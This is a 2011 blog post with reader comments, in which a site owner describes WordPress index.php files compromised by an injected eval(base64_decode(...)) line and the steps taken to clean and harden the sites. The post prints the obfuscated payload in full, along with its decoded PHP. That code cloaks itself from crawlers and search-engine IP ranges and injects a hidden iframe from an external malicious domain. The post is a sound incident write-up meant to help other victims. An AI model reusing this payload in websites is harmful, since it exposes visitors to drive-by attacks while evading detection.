my wordpress sites were hacked: eval base64_decode

I maintain three wordpress blogs, all hosted at WebFaction. And suddenly this morning, inside all my index.php the first line looked as follows: [sourcecode language="php"] <?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly93dW1wZWFycG15LmN6LmNjL2dvLzEiIHdpZHRoPSIxIiBoZWlnaHQ9IjEiPjwvaWZyYW1lPic7DQp9')) [/sourcecode] Decoded, it looks as follows: [sourcecode language="php"] error_reporting(0); $bot = FALSE ; $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api'); $stop_ips_masks = array( array("216.239.32.0","216.239.63.255"), array("64.68.80.0" ,"64.68.87.255" ), array("66.102.0.0", "66.102.15.255"), array("64.233.160.0","64.233.191.255"), array("66.249.64.0", "66.249.95.255"), array("72.14.192.0", "72.14.255.255"), array("209.85.128.0","209.85.255.255"), array("198.108.100.192","198.108.100.207"), array("173.194.0.0","173.194.255.255"), array("216.33.229.144","216.33.229.151"), array("216.33.229.160","216.33.229.167"), array("209.185.108.128","209.185.108.255"), array("216.109.75.80","216.109.75.95"), array("64.68.88.0","64.68.95.255"), array("64.68.64.64","64.68.64.127"), array("64.41.221.192","64.41.221.207"), array("74.125.0.0","74.125.255.255"), array("65.52.0.0","65.55.255.255"), array("74.6.0.0","74.6.255.255"), array("67.195.0.0","67.195.255.255"), array("72.30.0.0","72.30.255.255"), array("38.0.0.0","38.255.255.255") ); $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( $stop_ips_masks as $IPs ) { $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1])); if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;} } foreach ($user_agent_to_filter as $bot_sign){ if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;} } if (!$bot) { echo '<iframe src="http://wumpearpmy.cz.cc/go/1" width="1" height="1"></iframe>'; } [/sourcecode] So, roughly, if I understand correctly, it will show an extra iframe with some source it will need to load, but only if the user-agent and ip are not in the list of blocked ips, or blocked bots. My guess: to make sure your site will not be blacklisted, but any visitor will still get spammed. Ok. But how to fix this? First thing was easy: just edit the index.php and fix it! Remove the eval-line! Secondly I notified my host of this. One blog was not using the latest version, so i updated that one. I verified the files of all my blogs against the latest version of Wordpress (3.1.3), and they were all identical except for the mentioned index.php. I changed my ssh/ftp password, because if the attacker had access to all three sites, that seemed to the only option. But within two hours the index-files where hacked again. Ok. This was getting serious. I installed the following plugins:

  • BulletProof Security: does a lot to tighten the security of your site, mainly through adding correct .htaccess files (as far as i can tell). I hope it works :)
  • Wordpress File Monitor Plus: checks if any files are tampered with, and will mail me otherwise
  • WP Security Scan: does a standard series of checks (was not very useful), and also provides some tools to check your passwords and migrate your db-prefix.
  • Wordpress File Monitor: will notify me if any of the wordpress files is tampered with. I hope this will prove to be useful in the future. Not sure if it will help me now ...
  • Exploit Scanner: this scans all files and checks for eval and base64_decode. Only my index.php seem to be touched, but a lot of plugins have code that seems fishy, but I think they are not. I am not seeing any obviously wrong code now. So I am still a bit weary how the index.php could get hacked again.
  • AntiVirus: this checks for the permalink backdoor (all my sites were clear), and can check the current theme. This works for all my sites except one (strange!) I also changed my secrets in the wp-config.php. I asked my hoster for the log-files. I hope to see something suspicious there. My index.php have not yet been overwritten again, so I hope this will do. I will keep you posted.

Comments
Justin Wise 2011-06-21 22:02:11 UTC

What has transpired since then? I have found the exact same problem on my sites! I'm taking your steps, but wondered if anything had changed on your end since this post?

nathanvda 2011-06-22 06:26:30 UTC

Hi Justin, since then nothing has changed. I am still a bit in the dark why or how it happened, but at least the measures I took now seem to be helping. And as soon as my files will get tampered with again, the Wordpress File Monitor will notify me. I am guessing the Bullet Proof Security closed some open doors? I hope these steps are helping you as well.

Justin Wise 2011-06-22 11:46:01 UTC

Super helpful. Thank you for these steps. I'm still tangling with this nasty piece of code, but I'll get there. Question: What did you use to decode the injected eval code? I'd like to take a look at mine to see if I can pinpoint what it's doing. Thanks so much for the resource!

spl13 2011-06-22 17:24:07 UTC

See here (and the comment I wrote below) http://wpmu.org/wordpress-security-exploit-found-upgrade-wptouch-addthis-and-w3-total-cache/comment-page-1/

Mike Fulton 2011-06-28 01:37:19 UTC

@Justice Wise If you want to look at the injected code, just take out the call to eval() and make it a string assignment. Here's what I did: [bash] $badcode = base64_decode(.....); echo &quot;&lt;!-- \n\n/*\n\n$badcode\n\n*/\n\n --&gt;&quot;; [/bash]

Mike Fulton 2011-06-28 01:38:29 UTC

Oh meh... stupid website f'ed up my echo command instead of properly escaping things. The echo command basically printed the $badcode string within a comment block.

nathanvda 2011-06-28 07:02:32 UTC

@Mike: I fixed that for you. @Justice: I used this <a href="http://www.motobit.com/util/base64-decoder-encoder.asp" rel="nofollow">online decoder</a>

Mike Fulton 2011-06-28 08:12:28 UTC

Do we know what the original infection vector for this was?

nathanvda 2011-06-28 08:47:59 UTC

@Mike: I see your site is still infected. I am not entirely sure I understand your question, but I do not know how I got infected or what caused it.

Mike Fulton 2011-06-28 12:53:56 UTC

@nathanvda: Thanks... didn't realize the comment setup would take BBCode or HTML for a code block.

Iosif 2011-09-03 07:39:39 UTC

Thanks for the article. I am also fighting with the malicious code and it always gets regenerated.. I guess that one of the admins has his computer virused..

David Cox 2011-09-05 07:09:54 UTC

I had the same trouble on one of my blogs. One of my other site files had a backdoor added to allow the hacker to replace the code any time. I wrote a blog post about clearing it up: http://www.dconstructing.com/php/2011/09/02/cleaning-wordpress-of-malicious-code/

Pera Tudt 2011-10-17 09:34:27 UTC

I am having the same problem on one site: http://vencanice.eu It is WordPress Latest version 3.21 (now) My qestion is how do they get in to WordPress?

gozer 2012-01-30 16:44:05 UTC

This post solved my problems. I was in trouble since some days ago, glad I found it. I had exactly the same problem, I think that bulletproof security creating new .htacces file was the key.

Andrew 2012-03-22 19:47:07 UTC

I host several sites on my server for development - I had 2 ready to copy to production logging in I see that every php file on every instance of wordpress has been comprimised and all of the dev sites are down. Can any one help getting this fixed? Thanks

Pavel 2012-05-25 09:52:04 UTC

The problem si timthumb.php. My website have been attacked like this by timthumb.php. I had to modify my theme and use Timthumb alternative (search google).

nathanvda 2012-05-25 10:19:03 UTC

Hi Pavel, I am glad you were able to find the cause on your own website. Personally I have never used TimThumb. Understand that any php-script can be modified to have this hack.

Bala 2012-07-20 04:48:43 UTC

Hi I have same problem in my opencart website, Did you find any Solution?

nathanvda 2012-07-20 06:57:55 UTC

The article describes each step I took, and together that solved it on my sites. Was that not clear? Do you mean something more specific?

ombingferia 2012-10-20 13:29:44 UTC

the steps on this page saved me.. thanks! for monitoring I also created a php malware scanner script that would scan for malware inserted code which includes eval(base64_decode... and other inserted codes on .htaccess and js files... see details for the script here http://ombing.info/2012/10/20/php-malware-scanner/

Add comment

Recent comments

Tags

ruby on rails 34 ruby 26 rails3 17 rails 15 oracle 11 rspec 9 rspec2 7 jquery 7 ubuntu 5 javascript 5 windows 5 activerecord 3 refactoring 3 geoserver 3 gis 3 arrrrcamp 3 actionmailer 2 oracle spatial 2 tdd 2 postgis 2 routing 2 rvm 2 mongoid 2 csharp 2 thin 2 win32 2 gem 2 rails4 2 git 2 service 2 haml 2 cucumber 2 view testing 2 i18n 1 displaysleep 1 spatial 1 gemsets 1 wubi 1 oracle_enhanced_adapter 1 migrations 1 watchr 1 ci 1 plugins 1 coderetreat 1 ie8 1 ssl 1 oci 1 nested model form 1 wcf 1 11.04 1 jsonp 1 ruby-oci8 1 teamcity 1 engines 1 pgadmin 1 soap 1 content_for 1 word automation 1 plugin 1 capybara 1 xml 1 bootstrap 1 migrate to rails3 1 mvc 1 unity 1 rendering 1 word2007 1 x64 1 limited stock 1 fast tests 1 pl/sql 1 delayed_job 1 pdf 1 test coverage 1 optimization 1 processing 1 borland 1 method_missing 1 cross-browser 1 devise 1 schema_plus 1 mongo 1 mongrel 1 dual boot 1 usability 1 mongrel_service 1 dba 1 mission statement 1 model 1 metadata 1 rcov 1 exceptions 1 image_tag 1 attachments 1 bde 1 css 1 yield 1 ajax 1 generative art 1 rails-assets 1 coordinate systems 1 submodules 1 netzke 1 ora-01031 1 authlogic 1 postgresql 1 shopping cart 1 agile 1 fast_tagger 1 subjective 1 wice_grid 1 generators 1 nvidia 1 mongodb 1 etsyhacks 1 staleobjecterror 1 session 1 jeweler 1 wordpress hacked 1 jasmine 1 heroku 1 rjs 1 life 1 unobtrusive-javascript 1 render_anywhere 1 html5 1 rails31 1 json 1 cocoon 1 mingw32 1 observe_field 1 osx 1 actionwebservice 1 testing 1 debugging 1 strings 1